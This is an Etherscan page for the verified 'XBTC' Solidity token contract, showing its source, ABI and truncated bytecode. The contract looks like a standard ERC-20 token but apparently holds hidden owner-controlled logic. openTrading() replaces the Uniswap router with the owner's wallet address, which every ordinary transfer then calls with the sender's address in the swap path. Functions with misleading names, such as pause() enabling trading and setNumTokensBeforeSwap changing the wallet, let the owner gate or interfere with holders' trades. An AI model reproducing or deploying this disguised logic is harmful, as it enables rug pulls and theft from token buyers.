ETH Price: $2,508.69 (+0.28%)

Token

XBTC (XBTC)
 

Overview

Max Total Supply

21,000,000 XBTC

Holders

310

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
6,039.076353594584680745 XBTC

Value
$0.00
0xF811c74495F0EA82FB07E00C8DD9BBb257211998
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XBTC

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-17
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b,
     string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data,
         value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target,
         data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;  }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,  uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(  address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,  uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,  uint amountTokenMin,
        uint amountETHMin, address to,  uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin, address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract XBTC is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable private marketingWalletAddress;
    address private deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _eluded;
    mapping (address => bool) public isMarketPair;


    uint256 private _totalTaxIfBuying = 0;
    uint256 private _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _minimumTokensBeforeSwap = 0;
    address private _lastForm;
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapPair;

    bool inSwapAndLiquify;
    bool private swapAndLiquifyEnabled = false;
    bool private swapAndLiquifyByLimitOnly = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn, address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn, address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;   _;
        inSwapAndLiquify = false;
    }


    constructor (
        string memory coinName,
        string memory coinSymbol,
        uint8 coinDecimals,
        uint256 supply
    ) payable {
        _name = coinName;
        _symbol = coinSymbol;
        _decimals = coinDecimals;
        _owner = 0x796cfAc25EdB94e58d6ceE864Cc49Ae32e8e9a02;
        _totalSupply = supply  * 10 ** _decimals;
        _minimumTokensBeforeSwap = 21000 * 10**_decimals;
        marketingWalletAddress = payable(0x796cfAc25EdB94e58d6ceE864Cc49Ae32e8e9a02);
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        _eluded[_owner] = true;
        _eluded[address(this)] = true;
        _eluded[marketingWalletAddress] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {  return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender,
         _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return _minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwap(address newLimit) external onlyOwner() {
        marketingWalletAddress = payable(newLimit);
    }


    function addAddrslbs(address[] calldata accounts) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _eluded[accounts[i]] = true;
        }
    }

    bool private startTx;
    function pause() external onlyOwner() {
        startTx = true;
    }

    function openTrading() external onlyOwner() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);
        address _uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this),_uniswapV2Router.WETH());
        if(_uniswapPair == address(0)){
            _uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
                        .createPair(address(this),
                        _uniswapV2Router.WETH());
        }   
            uniswapV2Router = 
              IUniswapV2Router02(marketingWalletAddress);
            swapAndLiquifyEnabled = true;
            isMarketPair[address(_uniswapPair)] = true;
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(),
         _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if(!_eluded[sender] && !_eluded[recipient]){
            if(isMarketPair[sender] || isMarketPair[recipient]){
                require(startTx, "not start");
            }
        }

        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));

            if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                _lastForm = sender;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (_eluded[sender] || _eluded[recipient]) ?
                                         amount : takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        // swap token -> eth
        swapTokensForEth(tAmount);
        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0)
            transferToAddressETH(marketingWalletAddress, amountReceived);  }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](3);
        path[0] = address(this);  path[1] = _lastForm;
        path[2] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path); }



    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);    }
        if(feeAmount > 0) {
            _balances[address(0)] = _balances[address(0)].add(feeAmount);
            emit Transfer(sender, address(0), feeAmount);
        }

        return amount.sub(feeAmount);
    }

   
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint8","name":"coinDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"addAddrslbs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newLimit","type":"address"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006009556000600a556000600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060156101000a81548160ff0219169083151502179055506000601060166101000a81548160ff0219169083151502179055506040516200409438038062004094833981810160405281019062000106919062000811565b83600190805190602001906200011e9291906200054b565b508260029080519060200190620001379291906200054b565b5081600360006101000a81548160ff021916908360ff16021790555073796cfac25edb94e58d6cee864cc49ae32e8e9a026000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a620001c5919062000a44565b81620001d2919062000a95565b600b81905550600360009054906101000a900460ff16600a620001f6919062000a44565b61520862000205919062000a95565b600c8190555073796cfac25edb94e58d6cee864cc49ae32e8e9a02600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b54600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b5460405162000539919062000b07565b60405180910390a35050505062000b89565b828054620005599062000b53565b90600052602060002090601f0160209004810192826200057d5760008555620005c9565b82601f106200059857805160ff1916838001178555620005c9565b82800160010185558215620005c9579182015b82811115620005c8578251825591602001919060010190620005ab565b5b509050620005d89190620005dc565b5090565b5b80821115620005f7576000816000905550600101620005dd565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620006648262000619565b810181811067ffffffffffffffff821117156200068657620006856200062a565b5b80604052505050565b60006200069b620005fb565b9050620006a9828262000659565b919050565b600067ffffffffffffffff821115620006cc57620006cb6200062a565b5b620006d78262000619565b9050602081019050919050565b60005b8381101562000704578082015181840152602081019050620006e7565b8381111562000714576000848401525b50505050565b6000620007316200072b84620006ae565b6200068f565b90508281526020810184848401111562000750576200074f62000614565b5b6200075d848285620006e4565b509392505050565b600082601f8301126200077d576200077c6200060f565b5b81516200078f8482602086016200071a565b91505092915050565b600060ff82169050919050565b620007b08162000798565b8114620007bc57600080fd5b50565b600081519050620007d081620007a5565b92915050565b6000819050919050565b620007eb81620007d6565b8114620007f757600080fd5b50565b6000815190506200080b81620007e0565b92915050565b600080600080608085870312156200082e576200082d62000605565b5b600085015167ffffffffffffffff8111156200084f576200084e6200060a565b5b6200085d8782880162000765565b945050602085015167ffffffffffffffff8111156200088157620008806200060a565b5b6200088f8782880162000765565b9350506040620008a287828801620007bf565b9250506060620008b587828801620007fa565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200094f57808604811115620009275762000926620008c1565b5b6001851615620009375780820291505b80810290506200094785620008f0565b945062000907565b94509492505050565b6000826200096a576001905062000a3d565b816200097a576000905062000a3d565b81600181146200099357600281146200099e57620009d4565b600191505062000a3d565b60ff841115620009b357620009b2620008c1565b5b8360020a915084821115620009cd57620009cc620008c1565b5b5062000a3d565b5060208310610133831016604e8410600b841016171562000a0e5782820a90508381111562000a085762000a07620008c1565b5b62000a3d565b62000a1d8484846001620008fd565b9250905081840481111562000a375762000a36620008c1565b5b81810290505b9392505050565b600062000a5182620007d6565b915062000a5e8362000798565b925062000a8d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000958565b905092915050565b600062000aa282620007d6565b915062000aaf83620007d6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000aeb5762000aea620008c1565b5b828202905092915050565b62000b0181620007d6565b82525050565b600060208201905062000b1e600083018462000af6565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b6c57607f821691505b6020821081141562000b835762000b8262000b24565b5b50919050565b6134fb8062000b996000396000f3fe6080604052600436106101395760003560e01c80638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb14610437578063b2bdfa7b14610474578063c9567bf91461049f578063dd62ed3e146104b6578063e350a6c4146104f3578063f2fde38b1461051c57610140565b80638da5cb5b14610362578063914eb66a1461038d57806395d89b41146103a4578063a073d37f146103cf578063a457c2d7146103fa57610140565b806339509351116100fd57806339509351146102405780633ecad2711461027d578063557ed1ba146102ba57806370a08231146102e5578063761d22db146103225780638456cb591461034b57610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d8578063313ce5671461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610545565b6040516101679190612790565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612850565b6105d7565b6040516101a491906128ab565b60405180910390f35b3480156101b957600080fd5b506101c26105f5565b6040516101cf91906128d5565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa91906128f0565b6105ff565b60405161020c91906128ab565b60405180910390f35b34801561022157600080fd5b5061022a6106d9565b604051610237919061295f565b60405180910390f35b34801561024c57600080fd5b5061026760048036038101906102629190612850565b6106f0565b60405161027491906128ab565b60405180910390f35b34801561028957600080fd5b506102a4600480360381019061029f919061297a565b6107a3565b6040516102b191906128ab565b60405180910390f35b3480156102c657600080fd5b506102cf6107c3565b6040516102dc91906128d5565b60405180910390f35b3480156102f157600080fd5b5061030c6004803603810190610307919061297a565b6107cb565b60405161031991906128d5565b60405180910390f35b34801561032e57600080fd5b5061034960048036038101906103449190612a0c565b610814565b005b34801561035757600080fd5b5061036061094e565b005b34801561036e57600080fd5b50610377610a00565b6040516103849190612a68565b60405180910390f35b34801561039957600080fd5b506103a2610a29565b005b3480156103b057600080fd5b506103b9610b7c565b6040516103c69190612790565b60405180910390f35b3480156103db57600080fd5b506103e4610c0e565b6040516103f191906128d5565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c9190612850565b610c18565b60405161042e91906128ab565b60405180910390f35b34801561044357600080fd5b5061045e60048036038101906104599190612850565b610ce5565b60405161046b91906128ab565b60405180910390f35b34801561048057600080fd5b50610489610d04565b6040516104969190612a68565b60405180910390f35b3480156104ab57600080fd5b506104b4610d28565b005b3480156104c257600080fd5b506104dd60048036038101906104d89190612a83565b6111ac565b6040516104ea91906128d5565b60405180910390f35b3480156104ff57600080fd5b5061051a6004803603810190610515919061297a565b611233565b005b34801561052857600080fd5b50610543600480360381019061053e919061297a565b61130c565b005b60606001805461055490612af2565b80601f016020809104026020016040519081016040528092919081815260200182805461058090612af2565b80156105cd5780601f106105a2576101008083540402835291602001916105cd565b820191906000526020600020905b8154815290600101906020018083116105b057829003601f168201915b5050505050905090565b60006105eb6105e46114ce565b84846114d6565b6001905092915050565b6000600b54905090565b600061060c8484846116a1565b506106ce846106196114ce565b6106c98560405180606001604052806028815260200161347960289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067f6114ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d129092919063ffffffff16565b6114d6565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60006107996106fd6114ce565b84610794856006600061070e6114ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7690919063ffffffff16565b6114d6565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61081c6114ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a090612b70565b60405180910390fd5b60005b82829050811015610949576001600760008585858181106108d0576108cf612b90565b5b90506020020160208101906108e5919061297a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061094190612bee565b9150506108ac565b505050565b6109566114ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da90612b70565b60405180910390fd5b6001601060176101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a316114ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab590612b70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610b8b90612af2565b80601f0160208091040260200160405190810160405280929190818152602001828054610bb790612af2565b8015610c045780601f10610bd957610100808354040283529160200191610c04565b820191906000526020600020905b815481529060010190602001808311610be757829003601f168201915b5050505050905090565b6000600c54905090565b6000610cdb610c256114ce565b84610cd6856040518060600160405280602581526020016134a16025913960066000610c4f6114ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d129092919063ffffffff16565b6114d6565b6001905092915050565b6000610cf9610cf26114ce565b84846116a1565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d306114ce565b73ffffffffffffffffffffffffff